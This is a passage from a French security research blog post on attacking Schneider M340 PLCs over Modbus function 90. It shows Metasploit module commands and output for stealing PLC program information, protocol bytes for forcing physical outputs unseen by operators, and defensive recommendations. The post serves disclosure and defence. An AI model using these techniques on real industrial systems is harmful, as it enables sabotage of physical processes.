<ul>
<li>Insérons le fichier « .apx » dans l’archive</li>
</ul>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:~# file demo_archive.sta 
demo_archive.sta: Zip archive data, at least v1.0 to extract
root@kali:~# unzip demo_archive.sta
Archive:  demo_archive.sta
   creating: BinAppli/
  inflating: BinAppli/Station.apd    
  inflating: BinAppli/Station.apx    
  inflating: STATION.CTX             
 extracting: TA.xma                  
   creating: ThirdParty/
root@kali:~/unity# cp /opt/metasploit/apps/pro/msf3/data/exploits/modicon_ladder.apx 
BinAppli/Station.apx
root@kali:~/unity# ls
BinAppli  demo_archive.sta  STATION.CTX  TA.xma  ThirdParty
root@kali:~/unity# rm BinAppli/Station.apd
root@kali:~/unity# zip demo_archive2.sta -r BinAppli/ STATION.CTX  TA.xma  ThirdParty/
  adding: BinAppli/ (stored 0%)
  adding: BinAppli/Station.apx (deflated 61%)
  adding: BinAppli/Station.apd (deflated 19%)
  adding: STATION.CTX (deflated 58%)
  adding: TA.xma (stored 0%)
  adding: ThirdParty/ (stored 0%)
root@kali:~/unity#</pre>
</div>
<ul>
<li>Ouvrons le fichier dans Unity : il suffit ensuite d’ouvrir le fichier avec Unity pro pour accéder au programme :</li>
</ul>
<p class="separator" style="clear: both; text-align: center;">
<div style="text-align: justify;">
<div style="text-align: center;">
<figure id="post-15824 media-15824" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15824 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1.png" alt="" width="640" height="393" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1-311x191.png 311w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1-64x39.png 64w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: center;"><i>Affichage du code « ladder » dans Unity Pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">La vidéo ci-dessous montre l’utilisation du module pour télécharger le programme et vérifier qu’il s’agit du même que celui issu de Unity Pro : <a href="https://www.youtube.com/watch?v=xRbulEX3_3o">https://www.youtube.com/watch?v=xRbulEX3_3o</a></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La démarche inverse, reprogrammer l’automate, est également possible en théorie. En revanche, nous n’avons pas réussi à le rendre fonctionnel. Lors de l’upload d’un nouveau programme, nous obtenons ensuite cette erreur :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<p id="post-15826 media-15826" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15826 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6.png" alt="" width="640" height="113" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6-437x77.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6-71x13.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">L’automate a bien été reprogrammé, mais il ne reconnaît pas le programme transmis et considère donc qu’il n’est pas programmé. Cette attaque permet donc plutôt un déni de service.</div>
<div style="text-align: justify;">
<h4>Récupération des informations du programme</h4>
</div>
<div style="text-align: justify;">L’analyse des trames échangées lors de l’initialisation de la connexion entre le logiciel de programmation légitime (Unity Pro) et l’automate permet d’identifier qu’un certain nombre d’informations sont envoyées par l’automate.</div>
<p class="separator" style="clear: both; text-align: center;">
<div style="text-align: center;">
<figure id="post-15828 media-15828" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15828 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7.png" alt="" width="640" height="364" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7-336x191.png 336w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7-69x39.png 69w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Capture réseau entre Unity Pro et un automate Schneider M340</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Nous avons donc modifié le module Metasploit précédent afin de permettre la récupération de ces informations :</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>msf &gt; use auxiliary/admin/scada/modicon_stux_transfer_ASO 
msf auxiliary(modicon_stux_transfer_ASO) &gt; show actions

Auxiliary actions:

   Name          Description
   ----          -----------
   DOWNLOAD      Download the ladder logic from the PLC
   GATHER_INFOS  Get informations about the PLC configuration
   UPLOAD        Upload a ladder logic file to the PLC


msf auxiliary(modicon_stux_transfer_ASO) &gt; set ACTION GATHER_INFOS 
ACTION =&gt; GATHER_INFOS
msf auxiliary(modicon_stux_transfer_ASO) &gt; show options

Module options (auxiliary/admin/scada/modicon_stux_transfer_ASO):

   Name      Current Setting                     Required  Description
   ----      ---------------                     --------  -----------
   FILENAME  [...]/modicon_ladder.apx            yes       The file to send or receive
   RHOST                                         yes       The target address
   RPORT     502                                 yes       The target port


Auxiliary action:

   Name          Description
   ----          -----------
   GATHER_INFOS  Get informations about the PLC configuration


msf auxiliary(modicon_stux_transfer_ASO) &gt; set RHOST 192.168.0.110
RHOST =&gt; 192.168.0.110
msf auxiliary(modicon_stux_transfer_ASO) &gt; run

[*] Sending initialization requests ...
[+] PLC model : BMX P34 2030
[+] Project name : Test - Project ABC 123 Yolo
[+] Project comments : this is where the comments are put. YOLO @@@ !!!
[+] Unity Pro software version : V5.0
[*] Auxiliary module execution completed</pre>
</div>
<div style="text-align: justify;">
<p style="text-align: center;"><i>Récupération d’information via le module Metasploit</i></p>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">Ces informations concordent avec celles obtenues graphiquement dans le logiciel légitime :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15830 media-15830" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15830 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8.png" alt="" width="525" height="408" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8.png 525w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-246x191.png 246w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-155x120.png 155w" sizes="auto, (max-width: 525px) 100vw, 525px" /></figure>
</div>
<div style="text-align: center;"><i>Informations sur le projet dans Unity pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h3>Forçage de valeurs</h3>
</div>
<div style="text-align: justify;">Le logiciel Unity Pro embarque également des fonctionnalités de simulation et de « forçage » des valeurs de l’automate. En effet, lors de l’installation d’un nouveau procédé industriel, il peut s’avérer pratique de « fausser » la valeur d’une variable pour simuler une action ou une situation spécifique. L’équivalent dans le monde informatique serait de « coder en dur » la valeur d’une variable.</div>
<div style="text-align: justify;">Cette opération se réalise dans Unity Pro par la création d’une « table d’animation » dans laquelle on va renseigner les variables à forcer :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15832 media-15832" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15832 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9.png" alt="" width="640" height="418" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9-292x191.png 292w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9-60x39.png 60w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Forçage de valeurs à 1 dans Unity Pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Via l’analyse des trames réseau échangées lors du forçage de valeurs, il a été possible de comprendre partiellement le protocole. Ci-dessous, on présente une comparaison des trames pour forcer la sortie <b>%Q0.17</b> à 1, et forcer la sortie <b>%Q0.18</b> à 0 :</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02</pre>
</div>
<div style="text-align: justify;">Un octet permet de déterminer la sortie à forcer :</div>
<div style="text-align: justify;">
<ul>
<li>0x11 pour la sortie %Q0.17</li>
<li>0x12 pour la sortie %Q0.18</li>
</ul>
</div>
<p>La valeur de forçage est déterminée par le dernier octet :</p>
<ul>
<li>0x03 pour 0</li>
<li>0x02 pour 1</li>
<li>0x04 pour annuler le forçage</li>
</ul>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Dans la vidéo ci-dessous, on démontre le fonctionnement du module Metasploit en alternant les valeurs de forçage des sorties 17 à 23 : <a href="https://www.youtube.com/watch?time_continue=2&amp;v=D1p2ni0eGhc">https://www.youtube.com/watch?time_continue=2&amp;v=D1p2ni0eGhc</a></span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Pourquoi cette fonction est-elle intéressante du point de vue d’un attaquant ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">Dans un SI industriel en fonctionnement, les opérateurs ne surveillent pas le procédé avec Unity pro, mais un logiciel de supervision de type SCADA ou DCS, qui va leur permettre d’avoir une vue d’ensemble du précédé et de pouvoir interagir avec les différents composants. Ce logiciel va donc interroger, à intervalle régulier, les automates pour afficher les valeurs correspondantes à l’opérateur.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Cependant, dans la majorité des cas, ces logiciels ne vont pas directement afficher la valeur des sorties des automates ; des variables intermédiaires ou calculées sont utilisées. Ainsi, un attaquant capable de forcer la valeur des sorties de l’automate va pouvoir influencer le procédé physique, sans pour autant que cela soit visible du point de vue de l’opérateur en train de superviser le procédé.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Une démonstration live a été faite lors de la DEFCON. On peut observer que la valeur du feu rouge sur le logiciel de supervision IGSS reste fixe, tandis qu’en manipulant directement les variables de sortie on peut influencer sur la couleur du feu physique : <a href="https://www.youtube.com/watch?v=A_B69Rifu1g">https://www.youtube.com/watch?v=A_B69Rifu1g</a></span></div>
<div style="text-align: justify;"><span style="font-family: inherit;"> </span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Le module Metasploit n&#8217;étant pas totalement finalisé, il n&#8217;a pas fait l&#8217;objet d&#8217;une pull request vers le dépôt officiel. Vous pouvez néanmoins le trouver ici : <a href="https://github.com/wavestone-cdt/ics-tools">https://github.com/wavestone-cdt/ics-tools</a>.</span></div>
<p>&nbsp;</p>
<h2 style="text-align: justify;"><span style="font-family: inherit;">Conclusion et sécurisation</span></h2>
<div style="text-align: justify;"><span style="font-family: inherit;">Ces travaux ont été principalement réalisés sur des automates Schneider Premium et M340. Ils sont partiellement portables sur les nouvelles générations (par exemple M221) avec quelques ajustements. En effet, une capture réseau lors de la programmation d’un automate M221 montrera que c’est bien la fonction Modbus 90 qui est utilisée pour la programmation, mais de manière légèrement différente. Elle peut également être utilisé pour la mise en mode START ou STOP, ainsi que pour le forçage des valeurs de sortie.</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Qu’en est-il ailleurs ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">L’utilisation de protocoles de communication non-sécurisés pour la programmation et la maintenance des automates programmables industriels est encore une réalité en cette fin d’année 2017. L’exemple ici présenté ne vise pas à cibler la marque Schneider en particulier. La grande majorité des constructeurs d’automates utilisent des protocoles non authentifiés pour la programmation. On pourrait notamment citer le cas de la majorité des automates reposant sur la bibliothèque CodeSys, comme démontré (là aussi) par Reid Wightman : <a href="http://www.digitalbond.com/blog/2012/10/25/new-project-basecamp-tools-for-codesys-200-vendors-affected/">http://www.digitalbond.com/blog/2012/10/25/new-project-basecamp-tools-for-codesys-200-vendors-affected/</a>.</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Que faire ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">La sécurisation d’un SI industriel doit donc prendre en compte le fait qu’un accès réseau sur le port TCP 502 permet d’accéder à la logique de l’automate, de la modifier mais également de forcer certaines valeurs, ce qui permet à un attaquant de mener une attaque qui ne sera pas visible de l’opérateur.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Les dernières versions d’automates, notamment dans les gammes les plus chères, incluent désormais des fonctions de sécurisation. L’approche la plus fréquente est d’encapsuler les protocoles non-sécurisés dans un tunnel authentifié et chiffré, avec TLS (Siemens) ou IPSEC (Schneider). Il conviendra cependant d’évaluer le bon niveau de sécurité de ces nouvelles fonctionnalités.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Il faut donc commencer par appliquer les bonnes pratiques de cloisonnement réseau, et superviser les actions d’administration. On peut par exemple mettre en place une sonde de type IDS avec une signature dédiée à la fonction 90 de Modbus.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Enfin, un axe d’amélioration axé métier serait la mise en place de mécanismes de contrôle d’intégrité au niveau des automates et du SCADA, permettant de s’assurer que les variables utilisées reflètent la réalité du procédé physique. On pourrait ainsi imaginer l&#8217;insertion, dans la logique de l&#8217;automate, quelques fonctions visant à assurer la détection d&#8217;une incohérence entre une valeur intermédiaire et une valeur de sortie. De la même manière, il serait intéressant pour le logiciel SCADA de pouvoir notifier l&#8217;opérateur lorsque des valeurs sont forcées, mais cette capacité n&#8217;est, à notre connaissance, pas proposée par les automates étudiés.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;"><br />
</span></p>
<div style="text-align: right;"><b>Arnaud SOULLIE</b></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/02/fun-with-modbus-0x5a/">Fun with Modbus 0x5A</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
